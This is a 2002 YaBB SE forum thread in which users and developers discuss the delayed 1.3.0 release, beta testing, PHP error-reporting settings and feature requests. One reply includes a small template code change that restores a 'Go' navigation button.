Unfortuntely not.  Notify Plus only changes the outgoing notify email to have the message that was posted.  It adds a choice of receiving all messages as plain text, or html (which looks very similar to the web site)

Notify Plus does have an option to "subscribe" to each board, so you automatically get notifies for all new topics in whatever boards you've subscribed.

Maybe I could take a shot at this program to receive the replies from sendmail and post them?  I've never touched PHP, but I've heard it's pretty easy to learn if you know C and Perl (which I've been using for years).

Title: Re:SE Future...
Post by: kurgan on March 14, 2002, 12:38:48 PM
lsoft's listserv works like this but the web part is not really a board, but merely an archive with posting options.

although I have messed a lot with it its hard to make it look good.

you can see an example here:

http://animation.ots.dk/listserv/archives/
Title: Re:SE Future...
Post by: iamdamnsam on March 14, 2002, 04:22:11 PM
Where is the new version.  This is driving me nuts!
Title: Re:SE Future...
Post by: rican5vl on March 14, 2002, 06:19:18 PM
Patience!

Ooh and Jeff did you get my message?

Rican
Title: Re:SE Future...
Post by: Shoeb Omar on March 14, 2002, 06:48:00 PM

Where is the new version.  This is driving me nuts!


patience - its being heavily beta tested andthe crash put us behind a bit :)
Title: Re:SE Future...
Post by: Jeff Lewis on March 15, 2002, 05:03:33 PM

Ooh and Jeff did you get my message?


Yes but I am off work today and my computer has been down for the last few days at home...until now! ;)
Title: Re:SE Future...
Post by: kurgan on March 15, 2002, 05:23:33 PM

Unfortuntely not.  Notify Plus only changes the outgoing notify email to have the message that was posted.  It adds a choice of receiving all messages as plain text, or html (which looks very similar to the web site)

Notify Plus does have an option to "subscribe" to each board, so you automatically get notifies for all new topics in whatever boards you've subscribed.

Maybe I could take a shot at this program to receive the replies from sendmail and post them?  I've never touched PHP, but I've heard it's pretty easy to learn if you know C and Perl (which I've been using for years).





At leat on unix this should be 'fairly' easy to do, by modifying the /etc/aliases list to pipe incoming mail on a specific address to an application, that will the disect the mail and enter it into the database, it could probably be an awk/mysql script
Title: Re:SE Future...
Post by: Greybrow on March 16, 2002, 06:14:19 AM
future hm?
Title: Re:SE Future...
Post by: Jeff Lewis on March 16, 2002, 10:08:00 AM
Greybrow, langpacks function the same was as SP1.  Next bugfix?  You mean 1.3?  Soon.
Title: Re:SE Future...
Post by: kurgan on March 16, 2002, 02:46:07 PM
cant wait!!!

you are teasing us!!! v   :P
Title: Re:SE Future...
Post by: Golden Tiger on March 16, 2002, 05:57:47 PM
This is the new YaBB PBS system.  The next exciting episode, YaBB 1.3.0, will be shown right after we (YaBB PBS) raise $1,000.  Operators are standing by...  Your pledge will allow the next version to come along and will get you some suprising gifts such as a stuffed YaBB toy.  Also, we are going to sit here until we get $1,000 just delaying our release while we continue to ask for more money!  Once again, YaBB 1.3.0 will be released when...  (and so on)

[Note: If you believe the above, you are just plain silly.  The above is intended to be a joke, not as an insult.  My true feelings in this matter are that the dev team should be left alone so they can finish the next version faster.  But, I am good at making jokes, so I decided to make that one.  Please don't send me hate mail about this...]

:)
Title: Re:SE Future...
Post by: John R on March 16, 2002, 06:36:29 PM
Yes, folks, all your donations to the New YaBB PBS System will be devoted to helping feed those poor starving SE developers so they can continue to code, as long as their strength lasts, so that V 1.3.0 can finally be released.  

Please remember, operators are standing by to accept your donations........

cheers..........
Title: Re:SE Future...
Post by: Webby on March 19, 2002, 02:52:58 AM

randomly generated passwords are now only alphanumeric characters (upper and lower case) and a max of 10 characters long

I'm also adding a secret question/password thing so that instead of having a random password mailed to you, you can answer your secret question, and (assuming you get it right) define your new password right there.  I'm doing it to save those schmucks who don't have sendmail configured right on their server.


I'm getting several emails per day with the question to reset member's passwords, because it just doesn't work right.  It is great that it will be in the next release, but I'm really in need of this improvement, because I already have a lot of members on my board.

Could you guys please get this solution (as mentioned above) out as a mod / bugfix, because I think the release of v1.3.0 will still take some time, and I'm getting tired of resetting passwords for my (new) members  :(.

Please ? And again : please ?
Title: Re:SE Future...
Post by: Jeff Lewis on March 19, 2002, 10:35:53 AM
No.  It will be here soon enough.  However, we do now know not to mention anything about future releases since some people are too impatient...
Title: Re:SE Future...
Post by: kurgan on March 19, 2002, 10:42:28 AM

No.  It will be here soon enough.  However, we do now know not to mention anything about future releases since some people are too impatient...


that sentence is still spinning in my head...  :D
Title: Re:SE Future...
Post by: Webby on March 19, 2002, 10:43:21 AM
I suppose you are NOT talking about me (Jeff), because I'm not asking for the release, but for the solution for those passwords that just don't work.  And you guys know that allready.
I really think it would have been better to release a mod or solution for this problem because it is essential !

But if you think I'm asking about the release : just read the post I made this morning again  :(

And then again : just asking for a solution is not a crime at a support board is it ??
Title: Re:SE Future...
Post by: Jeff Lewis on March 19, 2002, 10:47:03 AM
The solution will be out soon, don't be impatient :)

We're now looking at another 4 weeks of beta testing...
Title: Re:SE Future...
Post by: kurgan on March 19, 2002, 10:50:53 AM
4 weeks... mmmm thats a loooong time   to wait :)) :'(
Title: Re:SE Future...
Post by: Webby on March 19, 2002, 10:53:25 AM
It is not that I am impatient, for I am struggling with this passwords-problem for several weeks now.
And I know that the solution has been made in nothing more than a couple of hours, so hence my request to get that piece of code (i.e. the solution) out as a temp. bugfix.
I noticed there are a "lot" of people with the same problem, that is why I dared to ask it again (I used the word "please" twice   ;) ;))

Whoops, I just read your IM.  Thanx for the reply, and I won't "bug" you in the near future   ;D
Title: Re:SE Future...
Post by: kurgan on March 19, 2002, 10:56:51 AM
yes in fact that would be really nice... god knows how many people try to register and then never comes back to my forum because they get bounced..
Title: Re:SE Future...
Post by: Jeff Lewis on March 19, 2002, 11:01:38 AM
It's not really going to be 4 weeks :)  Just thought I'd throw that out to really get on some peoples nerves - it worked ;)  Made me feel better  ;D

It's coming out soon enough which is why we didn't release a fix for it.  Also, it has worked properly on 95% of the systems out there.
Title: Re:SE Future...
Post by: Webby on March 19, 2002, 11:07:55 AM
 ;D

No need to reply to my IM, because I know now what you meant  ;D LOL !

Thanx !
Title: Re:SE Future...
Post by: kurgan on March 19, 2002, 11:21:42 AM

It's not really going to be 4 weeks :)  Just thought I'd throw that out to really get on some peoples nerves - it worked ;)  Made me feel better  ;D

It's coming out soon enough which is why we didn't release a fix for it.  Also, it has worked properly on 95% of the systems out there.



Ahhagain you are teasing us!!! dont make it a habit..
;)
Title: Re:SE Future...
Post by: Dire on March 19, 2002, 11:37:29 AM
ohh caint wait :D
Title: Re:SE Future...
Post by: Brad on March 19, 2002, 12:05:37 PM
My board works fairly bug free thanks to Jeff but I'm extremely excited about the long awaited release of 1.3   ;D ;D  :::paces back and forth:::
Title: Re:SE Future...
Post by: Golden Tiger on March 19, 2002, 05:26:54 PM

It's not really going to be 4 weeks :)  Just thought I'd throw that out to really get on some peoples nerves - it worked ;)  Made me feel better  ;D


Now we all know who is king of the world at this paticular point...

;D
Title: Re:SE Future...
Post by: BruceWillis on March 20, 2002, 04:12:48 AM
Well, we're naturally going to tackle the remaining bugs and things like that but what else do you want to see to take YaBB to the next level?

Was there something about another forum you liked or thought would be good for YaBB?

Hey Jeff,

Put another  'previous next'  near the bottom of the page.......or the mouse gets it!

OK?

Unnerstand punk?

Sheesh.....some people...

Bruce the muscle. 8)



Title: Re:SE Future...
Post by: Nemesis on March 20, 2002, 06:27:49 AM


Put another  'previous next'  near the bottom of the page.......or the mouse gets it!

OK?

Unnerstand punk?

Sheesh.....some people...

Bruce the muscle. 8)


I have a mod for this on my board that I will release as soon as I can figure out what the white space is being caused by, above the previous/next links.

Check it out:
http://gamerzalliance.com/community/index.php?board=5;action=display;threadid=95#bot
Title: Re:SE Future...
Post by: Jeff Lewis on March 20, 2002, 09:41:55 AM

Put another  'previous next'  near the bottom of the page.......or the mouse gets it!


NEVER!  The mouse isn't one of my friend see? ;)
Title: Re:SE Future...
Post by: irbrian on March 20, 2002, 10:05:29 PM
So, can we get a bit of an update regarding progress of 1.3.0? I had assumed it would be out in February. Not complaining or anything mind you, I'm just curious where its at. There are lots of things I still want to do to my forum that I've been holding off on, waiting for the new version. I think most of the mod writers have put their significant mods on hold as well.
Title: Re:SE Future...
Post by: Joseph Fung on March 20, 2002, 11:24:51 PM
<sigh> it *should* have been done by now but some of our beta-testers' hosts upgraded to PHP 4.1.1 over the last couple days, and their installs are going haywire.

We want to figure out WHY before we release.

But we want to get it out, as Jeff and I have other projects to start working on.  ::)
Title: Re:SE Future...
Post by: Webby on March 21, 2002, 05:19:04 AM

<sigh> it *should* have been done by now but some of our beta-testers' hosts upgraded to PHP 4.1.1 over the last couple days, and their installs are going haywire.

We want to figure out WHY before we release.

But we want to get it out, as Jeff and I have other projects to start working on.  ::)


There is absolutely NO problem with the 4.1.1 version.  It was installed over a week ago, and I noticed nothing wrong  :D .

BUT, ont he server there has been a problem with the PHP .ini file yesterday, and that resulted in the boards on salesplaza.nl / cabledudes.nl / yabb.nl (i.e. the YaBBSE boards !) to crash / give errors.

As I write this, there will be looked at this file, and they hope it will run in about an hour (I hope).

So, don't hold back the release because of PHP 4.1.1

Just to let you guys know  ;)
Title: Re:SE Future...
Post by: Michael on March 21, 2002, 05:42:22 AM
Are you running SE 1.3, though? It seems not, so in that case, you'd have no idea whether it would work fine with PHP 4.1.1, because SE 1.3 isn't the same thing as SE 1.1...
Title: Re:SE Future...
Post by: Webby on March 21, 2002, 05:45:39 AM
Sorry to dissappoint you : YES, I have the last beta of 1.3.0 (not on the "running forum" you see in my signature...)

Not to put your eyes out, but to point out that it will run OK (although I haven't tested it on all platforms ... duh....)
Title: Re:SE Future...
Post by: Jeff Lewis on March 21, 2002, 08:44:50 AM
I am pretty sure we found that error reporting was set differently which was causing some problems.  Webby, talk to Edwin or one of those guys that are in beta testing that are on the same server as you.
Title: Re:SE Future...
Post by: Webby on March 21, 2002, 09:13:00 AM
 :-\

I talked to Edwin, and his brother, and they are trying to resolve the problems we are having on our server since yesterday afternoon.

Until yesterday, there were no problems at all, so there must have been a change.  The told me the .ini file was altered (PHP).......

I hope it will be solved quickly...
Title: Re:SE Future...
Post by: Webby on March 21, 2002, 09:55:42 AM
It works again, although I have to do some work at it to get rid of the errors (that is because I was trying to get 1.3.0 to work on a server that was not 100% ok  ;D )
Title: Re:SE Future...
Post by: Brad on March 21, 2002, 12:09:12 PM
This may sound like a silly question but my server is running PHP4 right now.  If  a new release comes out and they update their server, my boards will still work right?  
Title: Re:SE Future...
Post by: Joseph Fung on March 21, 2002, 12:46:51 PM
if they just upgrade, then yes.

If they make any odd changes to the php ini files, then maybe not.

For instance, if they turn error reporting on to E_ALL, then chances are it'll crap out on you.

If they just change the engine, and none of the settings, you should be ok.
Title: Re:SE Future...
Post by: Nossie on March 21, 2002, 01:13:08 PM
so from what your saying.... if error reporting is already turned on to E_ALL then the board wont install in the first place ???

or does that just happen if you have a board there and they fiddle with their settings?

::curious::
Title: Re:SE Future...
Post by: Jeff Lewis on March 21, 2002, 01:37:00 PM
It just happens if they fiddle with error reporting.  Most hosts have error reporting on to supress warnings.  Sometimes it will cause errors if they have warnings being displayed.

But you shouldn't have anything to worry about if they just upgrade.
Title: Re:SE Future...
Post by: kurgan on March 21, 2002, 02:53:51 PM
ho hum... still waiting :))
Title: Re:SE Future...
Post by: communitysolutions on March 21, 2002, 05:52:01 PM
Come on, get started ;) #

Itll be allright with the Board
Title: Re:SE Future...
Post by: Joseph Fung on March 21, 2002, 06:18:59 PM
Well, the good news is I've knocked off a bunch of remaining bugs today - the bad news is that it'll still be a couple days before we're ready to say "dowload till your heart's' content"
Title: Re:SE Future...
Post by: kurgan on March 21, 2002, 07:03:26 PM
sounds good!!  :D (that you fixed the bugs, not that it will still be a while...)

anyway, I was just thinking that it might be an idea that once this release is out the door that an official roadmap gets designed, if you want to put dates on it is up to yourself, ut it sure would be nice to see what direction the software is moving (ie: is it going to evolve into a full portalsystem,  is this or that feature scheduled to be implemented etc.)

Title: Re:SE Future...
Post by: Brad on March 21, 2002, 07:18:35 PM
We have waited this long, what is a couple more days 8)


Well, the good news is I've knocked off a bunch of remaining bugs today - the bad news is that it'll still be a couple days before we're ready to say "dowload till your heart's' content"
Title: Re:SE Future...
Post by: Joseph Fung on March 21, 2002, 10:02:01 PM

anyway, I was just thinking that it might be an idea that once this release is out the door that an official roadmap gets designed, if you want to put dates on it is up to yourself, ut it sure would be nice to see what direction the software is moving (ie: is it going to evolve into a full portalsystem,  is this or that feature scheduled to be implemented etc.)

the only problem with this idea is that the direction itself is evolving :P
Title: Re:SE Future...
Post by: kurgan on March 22, 2002, 07:33:26 AM
every software project is (evolving), but to be efficient during the actual implementation you need to make a plan, how rigidly you decide to stick to it may vary, but you need to know where you and your colleauges are going.
This would also be an invaluable tool for people writing mods, since it might give them an idea of them most futureproof way of implementing their mods.
Title: Re:SE Future...
Post by: Jeff Lewis on March 22, 2002, 07:42:14 AM
We've been keeping everyone up to date :)  Well in the Mod Team boards etc  ;D
Title: Re:SE Future...
Post by: Webby on March 22, 2002, 07:53:08 AM
That's right.

Erm...I heard beta12 was out yesterday, so will you stop at beta 13 ?  I hope not  ;D ..... Then get one higher : beta14  ;D Hehehehe
Title: Re:SE Future...
Post by: kurgan on March 22, 2002, 08:03:28 AM
keeping people up-to-date and having a roadmap is not entirely the same

also the last time I asked you couldnt really remember what was new in 1.3  ;D  ;D
Title: Re:SE Future...
Post by: juise on March 22, 2002, 08:16:19 AM
kurgan: why dont you just sit back and wait for few days, then you will know what's new and what's not.
:D
Title: Re:SE Future...
Post by: Jeff Lewis on March 22, 2002, 09:05:57 AM
Exactly :)  I posted a list of things we added somewhere anyway...

Besides, how do you know that we don't have one? ;)
Title: Re:SE Future...
Post by: kurgan on March 22, 2002, 11:13:35 AM
calm down calm down.. :-X

it was just a suggestion for the future, it would be a helpful tool for mod scripters, as well as it would be an insight into the direction of the software, to which one could make suggestions or comments

[size=-1]I wonder why people are falling over me like that, did I hit a nerve or??[/size]
Title: Re:SE Future...
Post by: Jeff Lewis on March 22, 2002, 11:18:50 AM
I think it's because you keep insisting on it which gives the impression that you're busting the balls of the developers :)
Title: Re:SE Future...
Post by: kurgan on March 22, 2002, 11:21:34 AM

??? ?keep insisting? ???

hmm I just mentioned it in one post, and then replied to two replies related to it?

I woulndt call that insisting...   :-\
Title: Re:SE Future...
Post by: Jeff Lewis on March 22, 2002, 11:23:41 AM
It's ok, it's ok :)
Title: Re:SE Future...
Post by: kurgan on March 22, 2002, 11:26:33 AM
Im only nagging because I love you...  :D

sort of like your mother  :-*
Title: Re:SE Future...
Post by: Brad on March 22, 2002, 11:48:20 AM
Are people as addicted to checking for 1.3 as I am ;D  I check at least twice a day.  I'm so pathetic :P
Title: Re:SE Future...
Post by: Michael on March 22, 2002, 01:02:32 PM
Re: error reporting - why not just turn it off at run-time and add an admin center option to turn a "debug mode" on/off in order to diagnose any problems?

@Webby: Your sig says your board is 1.1 and you don't have a "beta tester" title, so :P You wouldn't have been the first one to start inadvertently talking about something you'd never used. ::) ;)
Title: Re:SE Future...
Post by: Joseph Fung on March 22, 2002, 02:09:12 PM
re. error reporting, we've added it to the code already.
Title: Re:SE Future...
Post by: kurgan on March 22, 2002, 03:17:13 PM
btw. where is the yabb server located? I can see its 6 hours offset from me here in Denmark...

I it in India or russia?

just curious
Title: Re:SE Future...
Post by: Jeff Lewis on March 22, 2002, 04:23:37 PM
It's in the USA.  
Title: Re:SE Future...
Post by: kurgan on March 22, 2002, 05:25:56 PM
ahh 'PM' I was thinking in 24hr context..

on the eastcoast then?
Title: Re:SE Future...
Post by: Webby on March 22, 2002, 05:52:52 PM
Quote

@Webby: Your sig says your board is 1.1 and you don't have a "beta tester" title, so :P You wouldn't have been the first one to start inadvertently talking about something you'd never used. ::) ;)


Believe what you want to believe.  It is up and running, but not accessible for regular users.  And there were some tiny problems I had to solve, so I am waiting for the "final" v1.3.0  :P

If you want, I can IM you the URL so you can check it yourself.  I find this really childish though.....

Why should I say one thing and mean another ?  Just ask Jeff if you don't want to believe me  :P

Title: Re:SE Future...
Post by: Michael on March 22, 2002, 06:22:04 PM
Uh, what the hell? I didn't say I didn't believe you, I was just telling you what had led me to question whether or not you were using 1.3.
Title: Re:SE Future...
Post by: Webby on March 22, 2002, 06:24:23 PM
Well, that might be the problem with misinterpreting your message I guess......my English is sometimes a little buggy......and it is 00:23 AM over here  :-X

Anyway, I am playing with beta11 on my testboard ;)
Title: Re:SE Future...
Post by: PabUK on March 22, 2002, 06:31:05 PM
And I am playing with beta 13. There is a HUGE difference.

(Not really :p )
Title: Re:SE Future...
Post by: Michael on March 22, 2002, 06:43:21 PM
Heh, np. Looking back on my message, I think even I could have misinterpreted myself. :P Sorry.

I haven't really gotten to play with SE, myself, I've just used it out of the box for a couple sites I'm running, because it's so beautifully easy to setup. ;D I'll get to it sometime; I can't restrict all my fiddling to Perl YaBB!
Title: Re:SE Future...
Post by: Andreas on March 23, 2002, 10:58:47 AM
It's possible, that i get the newest beta version from YaBB 1.3.0 as a beta tester too? :)

By the way, what job do the beta testers. Only test the board on his servers, or anything else?

Andreas
Title: Re:SE Future...
Post by: Webby on March 23, 2002, 11:03:04 AM
Well, why not wait a few days ?

Do you really think they will give it to anyone a few days before the release  ;D ?
Title: Re:SE Future...
Post by: Joseph Fung on March 23, 2002, 11:13:51 AM
Sorry Andreas, but it's too late to join the Beta Testing group.  They've got a hard job and they're doing a great job.

A Beta Test has to install the release candidate on their server or host's server, and test it both in normal usage, and to check on the status of existing bugs.

They also have to be able to describe to us in minute detail what they've done to create bugs (so we can track down the relevant code areas).  It also helps if they are familiar with the code, as they can make suggestions as to where the bug is, or often give us code to fix it.
Title: Re:SE Future...
Post by: Golden Tiger on March 23, 2002, 02:53:04 PM
Easy to know what happens..

We wait and wait...

April 1, YaBB 1.3.0 is released, according to the news...  Everybody goes to get it...
April Fools...

April 2, YaBB 1.3.0 is released...  wonder how many people will think that is crying wolf...

 ;D
Title: Re:SE Future...
Post by: PabUK on March 23, 2002, 05:41:31 PM
Now you discovered the secret plans. ::) ;)
Title: Re:SE Future...
Post by: Agelmar on March 23, 2002, 06:20:39 PM

Sorry Andreas, but it's too late to join the Beta Testing group.  They've got a hard job and they're doing a great job.

A Beta Test has to install the release candidate on their server or host's server, and test it both in normal usage, and to check on the status of existing bugs.

They also have to be able to describe to us in minute detail what they've done to create bugs (so we can track down the relevant code areas).  It also helps if they are familiar with the code, as they can make suggestions as to where the bug is, or often give us code to fix it.


It's hard work but a lot of fun.

It helps if you have a reliable ISP though :(

Anyhow, to everyone waiting for 1.3.0 - just remember that the more beta builds there are, the less bugs will appear in the final version. I.e. on 1.3.0 b13, I encountered a bug which made the forum unuseable, not quite sure what platforms are affected by it, but anyhow I posted one possible solution and as such that issue will likely not appear in 1.3.0 final. If 1.3 was to be released as final today, there would be bugs in it and a lot of people would have problems and it would be a nightmare. As it is, there are people testing it on a bunch of different configurations (I'm using Windows 2000 Server with IIS5 and php 4.1.2, it's failing on 4.2.0 right now but I think that is a problem with the PHP build - for some reason, crypt is not linked in. But anyways...).  Be patient, it will come out soon. And if there is a last minute delay, don't be mad. If it is delayed it likely means a major bug was found, and it's probably a good thing that it was not released.

My $.02

Re: what features I want to see - I would like to see more user levels for sure. Other than that, I'm pretty happy.
Title: Re:SE Future...
Post by: Godai on March 23, 2002, 06:31:36 PM

Re: what features I want to see - I would like to see more user levels for sure. Other than that, I'm pretty happy.


may the dev team hear your wish ;)
Title: Re:SE Future...
Post by: Daniel D. on March 23, 2002, 06:42:00 PM
... All I wanted for christmas was a 'GO' button and a 'reverse post order' feature but alas, I must have been bad cause I did't get em ...


I know a dev who promised me (before v1.0 !) to put the "Go"- Button back where he belongs...
Title: Re:SE Future...
Post by: Michael on March 23, 2002, 06:55:25 PM
They also have to be able to describe to us in minute detail what they've done to create bugs (so we can track down the relevant code areas).

I do that without being a beta tester. ;) What've I got, like a dozen various and sundry totally bizarre reports to my name? :P
Title: Re:SE Future...
Post by: groundup on March 23, 2002, 08:32:14 PM
wrong forum, wrong thread, who cares?
Title: Re:SE Future...
Post by: Jeff Lewis on March 23, 2002, 11:30:07 PM

I know a dev who promised me (before v1.0 !) to put the "Go"- Button back where he belongs


Who?  Couldn't have been me, I don't make promises :)  Do you guys need the GO thing?  Like it still works no?
Title: Re:SE Future...
Post by: PabUK on March 23, 2002, 11:37:16 PM
I think the (pretty good) reason is so that you can return to the forum the post you are viewing is in. Some people prefer or are more used to doing that then clicking elsewhere.
Title: Re:SE Future...
Post by: Daniel D. on March 24, 2002, 06:18:44 AM
I know a dev who promised me (before v1.0 !) to put the "Go"- Button back where he belongs

Who?  Couldn't have been me, I don't make promises :)  Do you guys need the GO thing?  Like it still works no?

No, not you Jeff. Hmm, it's not that hard to guess ;) - I like those people: J. Lopez, J.F. Kennedy, Ja Rule, Michael Jordan ;D
I think this button is useful. If you are in 'Chit Chat' and read a topic and scrolled down a page until you reach the bottom and want to get to the Message Index of 'Chit Chat', you have to scroll all the way up to click on the tree-link.

My wish for the next version: "Go"- Button (if it's not possible to insert him in 1.3) and many more (I have to write them down).
Title: Re:SE Future...
Post by: andrea on March 24, 2002, 06:35:20 AM

... If you are in 'Chit Chat' and read a topic and scrolled down a page until you reach the bottom and want to get to the Message Index of 'Chit Chat', you have to scroll all the way up to click on the tree-link.

The board navigation does improve a lot if one puts the <yabb menu> twice into the template, once before, and once after the <yabb main>. By this you can always return to the board index without having first to scroll to the top.
Title: Re:SE Future...
Post by: Daniel D. on March 24, 2002, 07:15:08 AM
You won.
But I want this little button back :P ! Oh, this is a good chance to write my first mod, he ?
Title: Re:SE Future...
Post by: andrea on March 24, 2002, 12:09:00 PM

But I want this little button back

Is it a joke that I don't get? Or is there really a button that was removed in some release?
Title: Re:SE Future...
Post by: Daniel D. on March 24, 2002, 12:12:53 PM
 :D It's the "little Go-Button" from YaBB Gold. It was really useful in my eyes...
Title: Re:SE Future...
Post by: andrea on March 24, 2002, 12:36:13 PM

:D It's the "little Go-Button" from YaBB Gold. It was really useful in my eyes...

Just checking in the YaBB 1 Gold Community (http://www.yabbforum.com/community). Didn't see this button there either. Seems to be eliminated there, too. Or did I overlook it?
Title: Re:SE Future...
Post by: Daniel D. on March 24, 2002, 12:40:30 PM
You're right Andrea, but they make YaBB SE SP1 compatible ;). If you find a YaBB Gold board, this button will be there. :)
Title: Re:SE Future...
Post by: andrea on March 24, 2002, 12:47:26 PM

If you find a YaBB Gold board, this button will be there.

Do you know where to find one?
Title: Re:SE Future...
Post by: Daniel D. on March 24, 2002, 12:51:33 PM
Do you know where to find one?

Natrlich: http://forum.povray.de/YaBB.pl?board=fragen
Scroll down the page...
Title: Re:SE Future...
Post by: John R on March 24, 2002, 01:04:04 PM
First off, there is no longer a YaBB 1 Gold Community since they have now gone to the SP1 release.  The SP1 release removed the 'go' button and since SE is a port of the SP1 the 'go' button was never present.

The 'go' button was a feature of Y1G and resided beside the 'jump box'.  The current board you were in was highlighted in the jumpbox and to go back to the messageindex for the current board, all you had to do was click on the 'go' button.

With the emergence of SP1, this handy little feature was eliminated for what was though to be better coding by allowing the user to select the board they wanted to go to and that simple selection would start the process to take you to that board.

Unfortunately, while the new coding was impressive, it had one fatal flaw.  Let's say you were on the Announcements Board and had just looked at post that held interest for you.  Once you were finished reading that post, if you wanted to go back to the messageindex for the Announcement Board, using the 'jump to' box would not allow you to go back to where you wanted to go.  Basically you had only 3 choices to get you to where you wanted to be.
1 - you could simply hit your 'back' button on your browser.  This was an effective solution unless the post you had been reading had multiple pages and you were 3 or 4 pages into the message at which time you would have to hit your back button 3 or 4 times to get back to the messageindex for the Announcement Board.
2 - you could use the 'jump to' box, go to any other board and then use the 'jump to' box to go back to the Announcement Board.
3 - you could scroll all the way back to the top of the board and use the 'links tree'.

Yes, some say that you can simply use the inline links and put them at the bottom of the board as well as at the top.  I have seen a Mod that puts a graphic into each post that will allow you to click on it to be transported back to the top of the board.  I have also seen a Mod that places links for 'top & bottom' in the appropriate places on your board to make things easier.

Frankly, in my humble opinion, the simplest solution would be to just bring back the old Y1G 'go' button and place it to the right of the jumpbox, just where it used to be, where it worked so well and made your board just that much easier to navigate.

cheers.........
Title: Re:SE Future...
Post by: Daniel D. on March 24, 2002, 01:11:32 PM
 :o Pffff..... (so much text)

Thank you John !
;D
Title: Re:SE Future...
Post by: andrea on March 24, 2002, 01:25:09 PM
Thank you, too. Now I understand, what you are talking of.  :)
Title: Re:SE Future...
Post by: Jeff Lewis on March 24, 2002, 01:36:26 PM
I've never used the jump to box so it's never bothered me :)  I forget it's there until people bring it up actually :)  I always scroll to the top and click the links or click back in my browser :)
Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 24, 2002, 01:38:59 PM
yeah, me to, something that would be useful where that is, is a "Go to top" button :)
Title: Re:SE Future...
Post by: Daniel D. on March 24, 2002, 01:40:10 PM
I've never used the jump to box so it's never bothered me :)  I forget it's there until people bring it up actually :)  I always scroll to the top and click the links or click back in my browser :)

Please !! :\'(
I'll wash your car, clean your house, take care of your children, be your driver, buy you everything you want but please bring that button back ;D ! ... :-X
Title: Re:SE Future...
Post by: TheJkWhoSaysNi on March 24, 2002, 02:11:03 PM
if you want it that badly you can do this:

in subs.php line 249:
Code: [Select]
  $selecthtml = "<select name=\"values\" onChange=\"if(this.options[this.selectedIndex].value) window.location.href='$scripturl' + this.options[this.selectedIndex].value;\">";

change to:
Code: [Select]
  $selecthtml = "<select name=\"values\">";

Then in Display.php
line 524:
Code: [Select]
   
   <td align="right"><form action="$scripturl" method="GET">
   <font size="1">$txt[160]:</font>$selecthtml</form></td>


change to:
Code: [Select]
   <td align="right"><form action="$scripturl" method="GET" name="select">
   <font size="1">$txt[160]:</font>$selecthtml <input type="button" value="Go" onClick="location=document.select.values.options[document.select.values.selectedIndex].value"></form></td>



and finally messageindex.php
line 323:
Code: [Select]
     <td align="right" valign="middle"><form action="$scripturl" method="GET">
   <font size="1">$txt[160]:</font>$selecthtml</form></td>


change to:
Code: [Select]
      <td align="right" valign="middle"><form action="$scripturl" method="GET" name="select">
   <font size="1">$txt[160]:</font>$selecthtml <input type="button" value="Go" onClick="location=document.select.values.options[document.select.values.selectedIndex].value"></form></td>


hope that helps :D
Title: Re:SE Future...
Post by: powergen on March 24, 2002, 05:36:16 PM
Listen ... guys ... I really want the best Yabb SE possible too as you ... but please do not ask new features like the super button there, the other button here, at the end of the developing time.

Time is up, isn't it just bug hunting and shooting ??? I hope it is ...

We are here starving for this release ...

thanks, Andrea



Title: Re:SE Future...
Post by: Jeff Lewis on March 24, 2002, 10:01:24 PM
Have you tried the test forum here?  Posters can delete their first post, it doesn't delete the whole thread though (that would be plain annoying).
Title: Re:SE Future...
Post by: iamdamnsam on March 24, 2002, 11:11:38 PM
It would be good if the thread starter could delete the entire thread.  For instance, someone is selling something, when they sell it they can delete that thread.
Title: Re:SE Future...
Post by: groundup on March 24, 2002, 11:49:24 PM
they can lock the thread if they are done selling it.  If you want, then you can go along and delete the locked threads
Title: Re:SE Future...
Post by: queks on March 25, 2002, 12:10:25 AM
iamdamnsam, i agreed with you. I got a lot of buying and selling thread. Most of them IM me to assist them to del the thread because they still got ppl asking for the item that is already sold. Most of them used to using vBulletin so they wanted the power to del their own thread they started. If this function is not provided here, then i have to turn to mod for help. Not possible i go through tens of catogory and tons of post to look for close or lock thread and del them one by one.
Title: Re:SE Future...
Post by: Dude on March 25, 2002, 06:02:23 AM
Could you folks please stop using this thread for trouble shooting and feature fishing?

Let me quote Mr. Lewis
Quote

Do NOT clutter this thread too much   More, try to offer some nice suggestions that can make YaBB SE a better piece of software.


And try to remember, all a message board has to do is to allow users to read, write and reply to messages. Everything else is bells and whistles. We all want bells and whistles but just because we want something doesn't mean it has to be in any future version of Yabb.

Thank you, my rant is over. I feel better now and I'll go away again.
Title: Re:SE Future...
Post by: queks on March 25, 2002, 06:27:29 AM
 ???. Isn't my post consider a suggestion to make YaBB SE a better software ??
Title: Re:SE Future...
Post by: henry_s on March 25, 2002, 06:36:47 AM
*pushes to the front of the scramble*

Users being able to delete their posts may be a good feature for you, but remember the other hundreds of people that use YaBB SE . I think I am right in saying that letting users delete their own posts could just be plain murder in the eyes of some admin.

Moderators and Admin are there for deleting posts.
Title: Re:SE Future...
Post by: Webby on March 25, 2002, 06:45:05 AM
I have to agree with that.

It so often happens that somebody ask something on the board, people reply to it, and then the topicstarter deletes their first post.  So everything is plain nonsence, and should be deleted, because the original question is gon.

I think it is the admin's task to delete the posts.....!
Title: Re:SE Future...
Post by: queks on March 25, 2002, 07:23:43 AM
Thks for all your reply. I was just asking whether is there such a feature in the upcoming version. And i did mention that i will refer to mod for further assistance. Guys, don't get so work up over this  ;D
Title: Re:SE Future...
Post by: Jeff Lewis on March 25, 2002, 08:27:57 AM
Hehe request noted :)
Title: Re:SE Future...
Post by: boyzie on March 25, 2002, 08:49:21 AM
Deleting the first post whereby deleting the whole thread has gotta be one of vBulls worst features... :-X
....Well done YaBB for sorting it.... :)
Title: Re:SE Future...
Post by: queks on March 25, 2002, 09:15:18 AM
Well, i got limited web space and i know most of my members so i was hoping to request them to help me delete off those closed thread. Not everyone is so fortunate to have the assistance of moderator.  ;D
Title: Re:SE Future...
Post by: Jeff Lewis on March 25, 2002, 09:20:57 AM
hehe no need to argue ;)  We at SE realize that there are many different opinions.  It's why we offered so many things that admins can toggle on or off :)

We just want to make you guys happy ;)
Title: Re:SE Future...
Post by: John R on March 25, 2002, 09:25:23 AM

Well, i got limited web space and i know most of my members so i was hoping to request them to help me delete off those closed thread. Not everyone is so fortunate to have the assistance of moderator.  ;D


If you know most of your members then make a few of them Moderators and they can help you with your Board Maintainence.

cheers.........
Title: Re:SE Future...
Post by: andrea on March 25, 2002, 02:09:08 PM

I have to agree with that.

It so often happens that somebody ask something on the board, people reply to it, and then the topicstarter deletes their first post.  So everything is plain nonsence, and should be deleted, because the original question is gon.

I think it is the admin's task to delete the posts.....!

